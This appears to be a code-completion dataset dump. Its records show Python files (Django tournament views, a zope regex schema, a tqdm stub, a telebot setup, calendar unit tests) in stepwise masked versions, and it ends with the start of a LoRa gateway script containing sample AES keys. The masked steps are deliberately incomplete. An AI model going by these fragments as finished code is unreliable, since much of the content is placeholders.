else:\n tourney = match.tournament\n tourney.completed = True\n tourney.winner = result.winner\n tourney.save()\n match.matchup.delete()\n match.matchup = None\n match.result = result\n match.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % match.tournament.id)\n if request.method == 'POST':\n return post()\n else:\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % request.GET[\n 'tournament'])\n\n\ndef result_detail(request):\n result_id = request.GET['match']\n match = MatchResult.objects.get(id=result_id)\n model = Context({'match': match})\n t = loader.get_template('result_detail.html')\n return HttpResponse(t.render(model))\n\n\ndef get_team_groups():\n teams = Team.objects.all()\n team_groups = {}\n for team in teams:\n if not team.leader in team_groups:\n team_groups[team.leader] = []\n team_groups[team.leader].append(team)\n team_groups = [sorted(team_groups[k], lambda x, y: cmp(x.id, y.id)) for\n k in sorted(team_groups.keys(), lambda x, y: cmp(x.name, y.name))]\n return team_groups\n\n\ndef update_stats(winner, loser):\n existing = MatchupStatistics.objects.filter(Q(team1__in=[winner.id,\n loser.id]) & Q(team2__in=[winner.id, loser.id]))\n stats = None\n if existing.count() == 0:\n newStats = MatchupStatistics()\n newStats.team1 = winner\n newStats.team2 = loser\n newStats.team1_wins = 1\n newStats.team2_wins = 0\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n newStats.save()\n winner.save()\n loser.save()\n return 1, 0\n elif existing.count() == 1:\n oldStats = existing.fetch(1)[0]\n if oldStats.team1.id == winner.id:\n oldStats.team1_wins = oldStats.team1_wins + 1\n else:\n oldStats.team2_wins = oldStats.team2_wins + 1\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n oldStats.save()\n winner.save()\n loser.save()\n return 0, 1\n else:\n logging.error(\n 'unexpected state: %s matchup statistics for the same team pair (expected 1)'\n % existing.count())\n return 0, 0\n", "step-5": "# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import Context, loader\nfrom django.db import transaction\nfrom django.db.models import Q\n\nfrom maximus.models import Mercenary, Team, TeamMember, Tournament, TournamentTeam, TournamentMatchup, Matchup, MatchupStatistics, MatchResult\n\ndef index(request):\n model = Context({})\n t = loader.get_template('index.html')\n return HttpResponse(t.render(model))\n\ndef create_team(request): \n def get():\n heroes = Mercenary.objects.filter(type='HERO')\n pawns = Mercenary.objects.filter(type='PAWN')\n\n model = Context({ 'heroes': heroes, 'pawns': pawns, 'mercrange': range(1,7), 'teams': get_team_groups() })\n t = loader.get_template('teams.html')\n return HttpResponse(t.render(model))\n \n def post():\n team = Team()\n class_c = request.POST['hero']\n leader = Mercenary.objects.filter(type='HERO').filter(name=class_c)\n team.leader = leader[0]\n team.wins = 0\n team.losses = 0\n team.notes = \"\"\n team.save()\n for i in range(1,10):\n who = request.POST['pawn%s' % i]\n if who != '':\n merc = Mercenary.objects.filter(type='PAWN').filter(name=who)\n current = TeamMember()\n current.team = team\n current.merc = merc[0]\n current.location = i\n current.save()\n \n return HttpResponseRedirect('/app/teams')\n \n if request.method == \"POST\":\n return post()\n else:\n return get()\n \ndef edit_team(request):\n def get():\n team_id = request.GET[\"team\"]\n team = Team.objects.get(id=team_id)\n \n model = Context({ 'team': team })\n t = loader.get_template('edit_team.html')\n return HttpResponse(t.render(model))\n \n def post():\n new_notes = request.POST[\"notes\"]\n team_id = request.POST[\"team\"]\n \n team = Team.objects.get(id=team_id)\n team.notes = new_notes\n team.save()\n return HttpResponseRedirect('/app/teams/edit?team=%s' % team_id)\n \n if request.method == \"POST\":\n return post()\n else:\n return get() \n\ndef create_tournament(request):\n def get():\n inprogress = Tournament.objects.filter(completed=False);\n finished = Tournament.objects.filter(completed=True);\n model = Context({ 'teams': get_team_groups(), \"in_progress\": inprogress, \"finished\": finished })\n t = loader.get_template('tournament/create_tournament.html')\n return HttpResponse(t.render(model))\n \n @transaction.commit_on_success\n def post():\n tournament = Tournament()\n tournament.completed = False\n \n tournament.save()\n for team_id in request.POST.getlist('participant'):\n if team_id != \"\":\n team = Team.objects.get(id=team_id)\n tourney_team = TournamentTeam()\n tourney_team.tournament = tournament\n tourney_team.team = team\n tourney_team.save()\n \n return HttpResponseRedirect('/app/tournament/matchups?tournament=%s' % str(tournament.id))\n \n if request.method == \"POST\":\n return post()\n else:\n return get() \n\ndef view_tournament(request):\n def get():\n tourney = Tournament.objects.get(id=request.GET[\"tournament\"])\n pending_teams = []\n teams = []\n for team in tourney.tourney_team_set.all():\n if team.matchup_index == None:\n pending_teams.append(team.team)\n else:\n teams.append(team.team) \n matches = [[i for i in range(0,4)],[i for i in range(0,2)],[0]]\n for match in tourney.tourney_match_set.all():\n matches[match.round][match.index] = match\n \n model = Context({ \"pending_teams\": pending_teams, \"teams\": teams, \"matches\": matches, \"tourney\": tourney})\n \n t = loader.get_template('tournament/view_tournament.html')\n return HttpResponse(t.render(model))\n \n @transaction.commit_on_success\n def post():\n tourney_id = request.GET[\"tournament\"]\n tourney = Tournament.objects.get(id=tourney_id)\n versus = request.POST.getlist(\"versus\")\n teams = []\n for team_id in versus:\n if team_id != \"\":\n teams.append(Team.objects.get(id=team_id))\n \n existing_matches = TournamentMatchup.objects.filter(tournament=tourney)\n \n match = Matchup()\n match.team1 = teams[0]\n match.team2 = teams[1]\n match.save()\n \n tourney_match = TournamentMatchup()\n tourney_match.tournament = tourney\n tourney_match.matchup = match\n tourney_match.round = 0\n tourney_match.index = existing_matches.count()\n tourney_match.save()\n \n tourney_teams = []\n tourney_teams.append(TournamentTeam.objects.filter(tournament=tourney).filter(team=teams[0]).get())\n tourney_teams.append(TournamentTeam.objects.filter(tournament=tourney).filter(team=teams[1]).get())\n \n tourney_teams[0].matchup_index = tourney_match.index * 2\n tourney_teams[1].matchup_index = tourney_match.index * 2 + 1\n \n tourney_teams[0].save();\n tourney_teams[1].save();\n \n return HttpResponseRedirect(\"/app/tournament/matchups?tournament=%s\" % tourney_id)\n \n if request.method == \"POST\":\n return post()\n else:\n return get()\n\ndef result_tournament(request):\n @transaction.commit_on_success\n def post():\n tournament_match_id = request.GET['tournament_match_key']\n match = TournamentMatchup.objects.get(id=tournament_match_id)\n\n winner_id = int(request.POST['winner'])\n matchup = match.matchup\n result = MatchResult()\n if winner_id == matchup.team1.id:\n result.winner = matchup.team1\n result.loser = matchup.team2\n elif winner_id == matchup.team2.id:\n result.winner = matchup.team2\n result.loser = matchup.team1\n else:\n raise Exception(\"could not determine winner key: %s (%s, %s)\" % (winner_id, matchup.team1.id, matchup.team2.id))\n \n update_stats(result.winner, result.loser)\n result.save()\n \n next_round_indices = {0:0, 1:0, 2:1, 3:1}\n next_round_index = next_round_indices[match.index]\n next_round = match.round + 1\n if match.round < 2:\n # look in existing matches for this winner's opponent\n existing = TournamentMatchup.objects.filter(tournament=match.tournament).filter(round=next_round).filter(index=next_round_index)\n if existing.count() == 1:\n next_match = existing[0]\n next_matchup = next_match.matchup\n next_matchup.team2 = result.winner\n next_matchup.save()\n elif existing.count() == 0:\n next_match = TournamentMatchup()\n next_matchup = Matchup()\n next_matchup.team1 = result.winner\n next_matchup.save()\n \n next_match.tournament = match.tournament\n next_match.round = next_round\n next_match.index = next_round_index\n next_match.matchup = next_matchup\n next_match.save()\n else:\n tourney = match.tournament\n tourney.completed = True\n tourney.winner = result.winner\n tourney.save()\n \n match.matchup.delete()\n match.matchup = None\n match.result = result\n match.save()\n \n return HttpResponseRedirect(\"/app/tournament/matchups?tournament=%s\" % match.tournament.id)\n \n if request.method == \"POST\":\n return post()\n else:\n return HttpResponseRedirect(\"/app/tournament/matchups?tournament=%s\" % request.GET[\"tournament\"]) \n\ndef result_detail(request):\n result_id = request.GET['match']\n match = MatchResult.objects.get(id=result_id)\n\n model = Context({ 'match': match })\n \n t = loader.get_template('result_detail.html')\n return HttpResponse(t.render(model))\n \ndef get_team_groups():\n teams = Team.objects.all()\n team_groups = { }\n for team in teams:\n if not team.leader in team_groups:\n team_groups[team.leader] = []\n team_groups[team.leader].append(team)\n \n team_groups = [sorted(team_groups[k], lambda x,y: cmp(x.id, y.id)) for k in sorted(team_groups.keys(), lambda x,y: cmp(x.name, y.name))]\n return team_groups\n\ndef update_stats(winner, loser):\n existing = MatchupStatistics.objects.filter(Q(team1__in=[winner.id, loser.id]) & Q(team2__in=[winner.id, loser.id]))\n stats = None\n if existing.count() == 0:\n newStats = MatchupStatistics()\n newStats.team1 = winner\n newStats.team2 = loser\n newStats.team1_wins = 1\n newStats.team2_wins = 0\n \n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n \n newStats.save()\n winner.save()\n loser.save()\n return (1, 0)\n elif existing.count() == 1:\n oldStats = existing.fetch(1)[0]\n if oldStats.team1.id == winner.id:\n oldStats.team1_wins = oldStats.team1_wins + 1\n else:\n oldStats.team2_wins = oldStats.team2_wins + 1\n \n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n oldStats.save()\n winner.save()\n loser.save()\n \n return (0, 1)\n else:\n logging.error(\"unexpected state: %s matchup statistics for the same team pair (expected 1)\" % existing.count())\n return (0, 0)\n", "step-ids": [ 6, 7, 9, 10, 11 ] }
[ 6, 7, 9, 10, 11 ]
from zope import schema from zope import interface from zope import component from raptus.mailcone.rules_regex import _ from raptus.mailcone.rules import interfaces class IRegexItem(interfaces.IConditionItem): """ Interface for regex match filter """ regex = schema.TextLine(title=_('Regex'), required=True, description=_( 'a regular expression')) source = schema.Choice(title=_('Source'), vocabulary= 'raptus.mailcone.mails.mailattributes', required=True)
normal
{ "blob_id": "fe83b45bdc5970d63deab66b26b16752cd8ad8ef", "index": 7241, "step-1": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n <mask token>\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-3": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n \"\"\" Interface for regex match filter\n \"\"\"\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-4": "from zope import schema\nfrom zope import interface\nfrom zope import component\nfrom raptus.mailcone.rules_regex import _\nfrom raptus.mailcone.rules import interfaces\n\n\nclass IRegexItem(interfaces.IConditionItem):\n \"\"\" Interface for regex match filter\n \"\"\"\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-5": null, "step-ids": [ 1, 2, 3, 4 ] }
[ 1, 2, 3, 4 ]
from ._monitor import TMonitor as TMonitor, TqdmSynchronisationWarning as TqdmSynchronisationWarning from ._tqdm_pandas import tqdm_pandas as tqdm_pandas from .cli import main as main from .gui import tqdm as tqdm_gui, trange as tgrange from .std import TqdmDeprecationWarning as TqdmDeprecationWarning, TqdmExperimentalWarning as TqdmExperimentalWarning, TqdmKeyError as TqdmKeyError, TqdmMonitorWarning as TqdmMonitorWarning, TqdmTypeError as TqdmTypeError, TqdmWarning as TqdmWarning, tqdm as tqdm, trange as trange def tqdm_notebook(*args, **kwargs): ... def tnrange(*args, **kwargs): ...
normal
{ "blob_id": "25b7af2a8036f35a0bca665867d1729b7c9c113c", "index": 5846, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef tnrange(*args, **kwargs):\n ...\n", "step-3": "<mask token>\n\n\ndef tqdm_notebook(*args, **kwargs):\n ...\n\n\ndef tnrange(*args, **kwargs):\n ...\n", "step-4": "from ._monitor import TMonitor as TMonitor, TqdmSynchronisationWarning as TqdmSynchronisationWarning\nfrom ._tqdm_pandas import tqdm_pandas as tqdm_pandas\nfrom .cli import main as main\nfrom .gui import tqdm as tqdm_gui, trange as tgrange\nfrom .std import TqdmDeprecationWarning as TqdmDeprecationWarning, TqdmExperimentalWarning as TqdmExperimentalWarning, TqdmKeyError as TqdmKeyError, TqdmMonitorWarning as TqdmMonitorWarning, TqdmTypeError as TqdmTypeError, TqdmWarning as TqdmWarning, tqdm as tqdm, trange as trange\n\n\ndef tqdm_notebook(*args, **kwargs):\n ...\n\n\ndef tnrange(*args, **kwargs):\n ...\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import os import telebot bot = telebot.TeleBot(os.environ.get('TELEGRAM_ACCESS_TOCKEN', 'TOKEN'))
normal
{ "blob_id": "ce7b7980d1e93f23e7e3ef048ddadc0c779ef9ce", "index": 7981, "step-1": "<mask token>\n", "step-2": "<mask token>\nbot = telebot.TeleBot(os.environ.get('TELEGRAM_ACCESS_TOCKEN', 'TOKEN'))\n", "step-3": "import os\nimport telebot\nbot = telebot.TeleBot(os.environ.get('TELEGRAM_ACCESS_TOCKEN', 'TOKEN'))\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
import unittest from month import Month class MonthUnitTests(unittest.TestCase): def test_header(self): cal = Month(5, 2012) result = cal.header() self.assertEqual(" May 2012", result) def test_header_different_month(self): cal = Month(3, 2012) result = cal.header() self.assertEqual(" March 2012", result) def test_zeller(self): cal = Month(3, 1995) result = cal.zeller() self.assertEqual(3, result) def test_zeller_again(self): cal = Month(6, 2999) self.assertEqual(6, cal.zeller()) def test_zeller_january(self): cal = Month(1, 2000) self.assertEqual(6, cal.zeller()) def test_zeller_february(self): cal = Month(2, 2000) self.assertEqual(2, cal.zeller()) def test_number_of_days(self): cal = Month(6, 1900) self.assertEqual(30, cal.days_number()) def test_number_of_days_february(self): cal = Month(2, 1995) self.assertEqual(28, cal.days_number()) def test_number_of_days_leap_year(self): cal = Month(2, 1996) self.assertEqual(29, cal.days_number()) def test_number_of_days_leap_century(self): cal = Month(2, 2000) self.assertEqual(29, cal.days_number()) def test_number_of_days_non_leap_century(self): cal = Month(2, 1900) self.assertEqual(28, cal.days_number()) def test_blank_spaces(self): cal = Month(2, 1990) self.assertEqual([" "," "," "," "], cal.spaces()) def test_days(self): cal = Month(2, 1990) expected = [" 1"," 2"," 3"," 4"," 5"," 6"," 7"," 8"," 9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28"] self.assertEqual(expected, cal.days()) def test_format_days(self): cal = Month(2, 1990) expected = [" "," "," "," "," 1"," 2"," 3"," 4"," 5"," 6"," 7"," 8"," 9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28"] self.assertEqual(expected, cal.format_days())
normal
{ "blob_id": "36c1d75171d772138b820651e11a3a7bc3a6521c", "index": 8226, "step-1": "<mask token>\n\n\nclass MonthUnitTests(unittest.TestCase):\n\n def test_header(self):\n cal = Month(5, 2012)\n result = cal.header()\n self.assertEqual(' May 2012', result)\n\n def test_header_different_month(self):\n cal = Month(3, 2012)\n result = cal.header()\n self.assertEqual(' March 2012', result)\n\n def test_zeller(self):\n cal = Month(3, 1995)\n result = cal.zeller()\n self.assertEqual(3, result)\n <mask token>\n\n def test_zeller_january(self):\n cal = Month(1, 2000)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_february(self):\n cal = Month(2, 2000)\n self.assertEqual(2, cal.zeller())\n\n def test_number_of_days(self):\n cal = Month(6, 1900)\n self.assertEqual(30, cal.days_number())\n\n def test_number_of_days_february(self):\n cal = Month(2, 1995)\n self.assertEqual(28, cal.days_number())\n\n def test_number_of_days_leap_year(self):\n cal = Month(2, 1996)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_leap_century(self):\n cal = Month(2, 2000)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_non_leap_century(self):\n cal = Month(2, 1900)\n self.assertEqual(28, cal.days_number())\n\n def test_blank_spaces(self):\n cal = Month(2, 1990)\n self.assertEqual([' ', ' ', ' ', ' '], cal.spaces())\n\n def test_days(self):\n cal = Month(2, 1990)\n expected = [' 1', ' 2', ' 3', ' 4', ' 5', ' 6', ' 7', ' 8', ' 9',\n '10', '11', '12', '13', '14', '15', '16', '17', '18', '19',\n '20', '21', '22', '23', '24', '25', '26', '27', '28']\n self.assertEqual(expected, cal.days())\n <mask token>\n", "step-2": "<mask token>\n\n\nclass MonthUnitTests(unittest.TestCase):\n\n def test_header(self):\n cal = Month(5, 2012)\n result = cal.header()\n self.assertEqual(' May 2012', result)\n\n def test_header_different_month(self):\n cal = Month(3, 2012)\n result = cal.header()\n self.assertEqual(' March 2012', result)\n\n def test_zeller(self):\n cal = Month(3, 1995)\n result = cal.zeller()\n self.assertEqual(3, result)\n\n def test_zeller_again(self):\n cal = Month(6, 2999)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_january(self):\n cal = Month(1, 2000)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_february(self):\n cal = Month(2, 2000)\n self.assertEqual(2, cal.zeller())\n\n def test_number_of_days(self):\n cal = Month(6, 1900)\n self.assertEqual(30, cal.days_number())\n\n def test_number_of_days_february(self):\n cal = Month(2, 1995)\n self.assertEqual(28, cal.days_number())\n\n def test_number_of_days_leap_year(self):\n cal = Month(2, 1996)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_leap_century(self):\n cal = Month(2, 2000)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_non_leap_century(self):\n cal = Month(2, 1900)\n self.assertEqual(28, cal.days_number())\n\n def test_blank_spaces(self):\n cal = Month(2, 1990)\n self.assertEqual([' ', ' ', ' ', ' '], cal.spaces())\n\n def test_days(self):\n cal = Month(2, 1990)\n expected = [' 1', ' 2', ' 3', ' 4', ' 5', ' 6', ' 7', ' 8', ' 9',\n '10', '11', '12', '13', '14', '15', '16', '17', '18', '19',\n '20', '21', '22', '23', '24', '25', '26', '27', '28']\n self.assertEqual(expected, cal.days())\n <mask token>\n", "step-3": "<mask token>\n\n\nclass MonthUnitTests(unittest.TestCase):\n\n def test_header(self):\n cal = Month(5, 2012)\n result = cal.header()\n self.assertEqual(' May 2012', result)\n\n def test_header_different_month(self):\n cal = Month(3, 2012)\n result = cal.header()\n self.assertEqual(' March 2012', result)\n\n def test_zeller(self):\n cal = Month(3, 1995)\n result = cal.zeller()\n self.assertEqual(3, result)\n\n def test_zeller_again(self):\n cal = Month(6, 2999)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_january(self):\n cal = Month(1, 2000)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_february(self):\n cal = Month(2, 2000)\n self.assertEqual(2, cal.zeller())\n\n def test_number_of_days(self):\n cal = Month(6, 1900)\n self.assertEqual(30, cal.days_number())\n\n def test_number_of_days_february(self):\n cal = Month(2, 1995)\n self.assertEqual(28, cal.days_number())\n\n def test_number_of_days_leap_year(self):\n cal = Month(2, 1996)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_leap_century(self):\n cal = Month(2, 2000)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_non_leap_century(self):\n cal = Month(2, 1900)\n self.assertEqual(28, cal.days_number())\n\n def test_blank_spaces(self):\n cal = Month(2, 1990)\n self.assertEqual([' ', ' ', ' ', ' '], cal.spaces())\n\n def test_days(self):\n cal = Month(2, 1990)\n expected = [' 1', ' 2', ' 3', ' 4', ' 5', ' 6', ' 7', ' 8', ' 9',\n '10', '11', '12', '13', '14', '15', '16', '17', '18', '19',\n '20', '21', '22', '23', '24', '25', '26', '27', '28']\n self.assertEqual(expected, cal.days())\n\n def test_format_days(self):\n cal = Month(2, 1990)\n expected = [' ', ' ', ' ', ' ', ' 1', ' 2', ' 3', ' 4', ' 5',\n ' 6', ' 7', ' 8', ' 9', '10', '11', '12', '13', '14', '15',\n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25',\n '26', '27', '28']\n self.assertEqual(expected, cal.format_days())\n", "step-4": "import unittest\nfrom month import Month\n\n\nclass MonthUnitTests(unittest.TestCase):\n\n def test_header(self):\n cal = Month(5, 2012)\n result = cal.header()\n self.assertEqual(' May 2012', result)\n\n def test_header_different_month(self):\n cal = Month(3, 2012)\n result = cal.header()\n self.assertEqual(' March 2012', result)\n\n def test_zeller(self):\n cal = Month(3, 1995)\n result = cal.zeller()\n self.assertEqual(3, result)\n\n def test_zeller_again(self):\n cal = Month(6, 2999)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_january(self):\n cal = Month(1, 2000)\n self.assertEqual(6, cal.zeller())\n\n def test_zeller_february(self):\n cal = Month(2, 2000)\n self.assertEqual(2, cal.zeller())\n\n def test_number_of_days(self):\n cal = Month(6, 1900)\n self.assertEqual(30, cal.days_number())\n\n def test_number_of_days_february(self):\n cal = Month(2, 1995)\n self.assertEqual(28, cal.days_number())\n\n def test_number_of_days_leap_year(self):\n cal = Month(2, 1996)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_leap_century(self):\n cal = Month(2, 2000)\n self.assertEqual(29, cal.days_number())\n\n def test_number_of_days_non_leap_century(self):\n cal = Month(2, 1900)\n self.assertEqual(28, cal.days_number())\n\n def test_blank_spaces(self):\n cal = Month(2, 1990)\n self.assertEqual([' ', ' ', ' ', ' '], cal.spaces())\n\n def test_days(self):\n cal = Month(2, 1990)\n expected = [' 1', ' 2', ' 3', ' 4', ' 5', ' 6', ' 7', ' 8', ' 9',\n '10', '11', '12', '13', '14', '15', '16', '17', '18', '19',\n '20', '21', '22', '23', '24', '25', '26', '27', '28']\n self.assertEqual(expected, cal.days())\n\n def test_format_days(self):\n cal = Month(2, 1990)\n expected = [' ', ' ', ' ', ' ', ' 1', ' 2', ' 3', ' 4', ' 5',\n ' 6', ' 7', ' 8', ' 9', '10', '11', '12', '13', '14', '15',\n '16', '17', '18', '19', '20', '21', '22', '23', '24', '25',\n '26', '27', '28']\n self.assertEqual(expected, cal.format_days())\n", "step-5": "import unittest\nfrom month import Month\n\nclass MonthUnitTests(unittest.TestCase):\n\n\tdef test_header(self):\n\t\tcal = Month(5, 2012)\n\t\tresult = cal.header()\n\t\tself.assertEqual(\" May 2012\", result)\n\n\tdef test_header_different_month(self):\n\t\tcal = Month(3, 2012)\n\t\tresult = cal.header()\n\t\tself.assertEqual(\" March 2012\", result)\n\n\tdef test_zeller(self):\n\t\tcal = Month(3, 1995)\n\t\tresult = cal.zeller()\n\t\tself.assertEqual(3, result)\n\n\tdef test_zeller_again(self):\n\t\tcal = Month(6, 2999)\n\t\tself.assertEqual(6, cal.zeller())\n\n\tdef test_zeller_january(self):\n\t\tcal = Month(1, 2000)\n\t\tself.assertEqual(6, cal.zeller())\n\n\tdef test_zeller_february(self):\n\t\tcal = Month(2, 2000)\n\t\tself.assertEqual(2, cal.zeller())\n\n\tdef test_number_of_days(self):\n\t\tcal = Month(6, 1900)\n\t\tself.assertEqual(30, cal.days_number())\n\n\tdef test_number_of_days_february(self):\n\t\tcal = Month(2, 1995)\n\t\tself.assertEqual(28, cal.days_number())\n\n\tdef test_number_of_days_leap_year(self):\n\t\tcal = Month(2, 1996)\n\t\tself.assertEqual(29, cal.days_number())\n\n\tdef test_number_of_days_leap_century(self):\n\t\tcal = Month(2, 2000)\n\t\tself.assertEqual(29, cal.days_number())\n\n\tdef test_number_of_days_non_leap_century(self):\n\t\tcal = Month(2, 1900)\n\t\tself.assertEqual(28, cal.days_number())\n\n\tdef test_blank_spaces(self):\n\t\tcal = Month(2, 1990)\n\t\tself.assertEqual([\" \",\" \",\" \",\" \"], cal.spaces())\n\n\tdef test_days(self):\n\t\tcal = Month(2, 1990)\n\t\texpected = [\" 1\",\" 2\",\" 3\",\" 4\",\" 5\",\" 6\",\" 7\",\" 8\",\" 9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\"]\n\t\tself.assertEqual(expected, cal.days())\n\n\tdef test_format_days(self):\n\t\tcal = Month(2, 1990)\n\t\texpected = [\" \",\" \",\" \",\" \",\" 1\",\" 2\",\" 3\",\" 4\",\" 5\",\" 6\",\" 7\",\" 8\",\" 9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\"]\n\t\tself.assertEqual(expected, cal.format_days())", "step-ids": [ 13, 14, 15, 16, 17 ] }
[ 13, 14, 15, 16, 17 ]
#------------------------------------------------------------ # Copyright 2016 Congduc Pham, University of Pau, France. # # [email protected] # # This file is part of the low-cost LoRa gateway developped at University of Pau # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with the program. If not, see <http://www.gnu.org/licenses/>. #------------------------------------------------------------ # IMPORTANT # Parts that can be modified are identified with #//////////////////////////////////////////////////////////// # TEXT # END #//////////////////////////////////////////////////////////// import sys import select import threading from threading import Timer import time import datetime import getopt import os import json import re #//////////////////////////////////////////////////////////// # ADD HERE BOOLEAN VARIABLES TO SUPPORT OTHER CLOUDS # OR VARIABLES FOR YOUR OWN NEEDS #//////////////////////////////////////////////////////////// #------------------------------------------------------------ #with firebase support? #------------------------------------------------------------ _firebase=False #------------------------------------------------------------ #with thingspeak support? #------------------------------------------------------------ _thingspeak=False #plot snr instead of seq _thingspeaksnr=False #------------------------------------------------------------ #with sensorcloud support? #------------------------------------------------------------ _sensorcloud=False #------------------------------------------------------------ #with grovestreams support? #------------------------------------------------------------ _grovestreams=False #------------------------------------------------------------ #with fiware support? #------------------------------------------------------------ _fiware=False #//////////////////////////////////////////////////////////// # ADD HERE APP KEYS THAT YOU WANT TO ALLOW FOR YOUR GATEWAY #//////////////////////////////////////////////////////////// # NOTE: the format of the application key list has changed from # a list of list, to a list of string that will be process as # a byte array. Doing so wilL allow for dictionary construction # using the appkey to retrieve information such as encryption key,... app_key_list = [ #for testing '****', #change here your application key '\x01\x02\x03\x04', '\x05\x06\x07\x08' ] #//////////////////////////////////////////////////////////// #FOR AES DECRYPTION #//////////////////////////////////////////////////////////// #put your key here, should match the end-device's key aes_key="0123456789010123" #put your initialisation vector here, should match the end-device's initialisation vector aes_iv="\x9a\xd0\x30\x02\x00\x00\x00\x00\x9a\xd0\x30\x02\x00\x00\x00\x00" #aes_iv="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 #association between appkey and aes_key appkey_aeskey = { '\x01\x02\x03\x04':"0123456789010123", '\x05\x06\x07\x08':"0123456789010123" } #association between appkey and aes_iv appkey_aesiv = { '\x01\x02\x03\x04':"\x9a\xd0\x30\x02\x00\x00\x00\x00\x9a\xd0\x30\x02\x00\x00\x00\x00", '\x05\x06\x07\x08':"\x9a\xd0\x30\x02\x00\x00\x00\x00\x9a\xd0\x30\x02\x00\x00\x00\x00" } # END #//////////////////////////////////////////////////////////// #------------------------------------------------------------ #header packet information #------------------------------------------------------------ HEADER_SIZE=4 APPKEY_SIZE=4 PKT_TYPE_DATA=0x10 PKT_TYPE_ACK=0x20 PKT_FLAG_ACK_REQ=0x08 PKT_FLAG_DATA_ENCRYPTED=0x04 PKT_FLAG_DATA_WAPPKEY=0x02 PKT_FLAG_DATA_ISBINARY=0x01 #------------------------------------------------------------ #last pkt information #------------------------------------------------------------ dst=0 ptype=0 ptypestr="N/A" src=0 seq=0 datalen=0 SNR=0 RSSI=0 bw=0 cr=0 sf=0 #------------------------------------------------------------ #------------------------------------------------------------ #will ignore lines beginning with '?' #------------------------------------------------------------ _ignoreComment=1 #------------------------------------------------------------ #with mongoDB support? #------------------------------------------------------------ _mongodb = False #------------------------------------------------------------ #log gateway message? #------------------------------------------------------------ _logGateway=0 #------------------------------------------------------------ #raw output from gateway? #------------------------------------------------------------ _rawFormat=0 #------------------------------------------------------------ _ourcustomFormat=0; _lorawanFormat=0 #------------------------------------------------------------ #------------------------------------------------------------ #check for app key? #------------------------------------------------------------ _wappkey=0 #------------------------------------------------------------ the_app_key = '\x00\x00\x00\x00' #valid app key? by default we do not check for the app key _validappkey=1 #------------------------------------------------------------ #for local AES decrypting #------------------------------------------------------------ _aes=0 _hasClearData=0 #------------------------------------------------------------ #open json file to recover gateway_address #------------------------------------------------------------ f = open(os.path.expanduser("local_conf.json"),"r") lines = f.readlines() f.close() array = "" #get all the lines in a string for line in lines : array += line #change it into a python array json_array = json.loads(array) #set the gateway_address for having different log filenames _gwaddr = json_array["gateway_conf"]["gateway_ID"] #//////////////////////////////////////////////////////////// # CHANGE HERE THE VARIOUS PATHS FOR YOUR LOG FILES #//////////////////////////////////////////////////////////// _folder_path = "/home/pi/Dropbox/LoRa-test/" _gwlog_filename = _folder_path+"gateway_"+str(_gwaddr)+".log" _telemetrylog_filename = _folder_path+"telemetry_"+str(_gwaddr)+".log" # END #//////////////////////////////////////////////////////////// #------------------------------------------------------------ #initialize gateway DHT22 sensor #------------------------------------------------------------ _gw_dht22 = json_array["gateway_conf"]["dht22"] _date_save_dht22 = None if(_gw_dht22): print "Use DHT22 to get gateway temperature and humidity level" #read values from dht22 in the gateway box sys.path.insert(0, os.path.expanduser('./sensors_in_raspi/dht22')) from read_dht22 import get_dht22_values _temperature = 0 _humidity = 0 # retrieve dht22 values def save_dht22_values(): global _temperature, _humidity, _date_save_dht22 _humidity, _temperature = get_dht22_values() _date_save_dht22 = datetime.datetime.utcnow() 